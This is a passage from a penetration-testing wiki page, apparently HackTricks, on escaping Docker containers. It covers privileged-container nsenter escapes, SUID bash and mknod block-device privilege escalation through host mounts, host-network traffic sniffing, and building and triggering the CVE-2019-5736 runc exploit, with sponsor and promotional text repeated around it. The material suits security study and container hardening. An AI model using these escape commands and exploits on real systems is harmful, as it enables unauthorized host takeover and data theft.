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Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically**
* [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it
* [**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
* [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`.
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
*`--cap-add=ALL`
*`--security-opt apparmor=unconfined`
*`--security-opt seccomp=unconfined`
*`--security-opt label:disable`
*`--pid=host`
*`--userns=host`
*`--uts=host`
*`--cgroupns=host`
The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. You can r**ead all the effects of `--privileged`** in this page:
With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
Test it in a container executing:
```bash
docker run --rm -it --pid=host --privileged ubuntu bash
Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive.
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector:
In the previous exploits the **absolute path of the continer inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the continer inside the host** you can use this technique:
There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\
In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized\_keys…
### Privilege Escalation with 2 shells and host mount
If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\
You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc.
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### Privilege Escalation with 2 shells
If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**.
Docker ensures that block devices **cannot be abused from within the container** by setting a cgroup policy on the container that blocks read and write of block devices.\
However, if a block device is **created within the container it can be accessed** through the /proc/PID/root/ folder by someone **outside the container**, the limitation being that the **process must be owned by the same user** outside and inside the container.
**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda
# Create the nonepriv user of the host inside the container
If you somehow has privileged **access over a process outside of the container**, you could run something like `nsenter --target <pid> --all` or `nsenter --target <pid> --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.**
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access):
If you only have `hostIPC=true`, you most likely can't do much. If any process on the host or any processes within another pod is using the host’s **inter-process communication mechanisms** (shared memory, semaphore arrays, message queues, etc.), you'll be able to read/write to those same mechanisms. The first place you'll want to look is `/dev/shm`, as it is shared between any pod with `hostIPC=true` and the host. You'll also want to check out the other IPC mechanisms with `ipcs`.
* **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
* **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
The second technique explained in the post [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host****from a container**, so anyone executing docker exec may trigger the payload.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
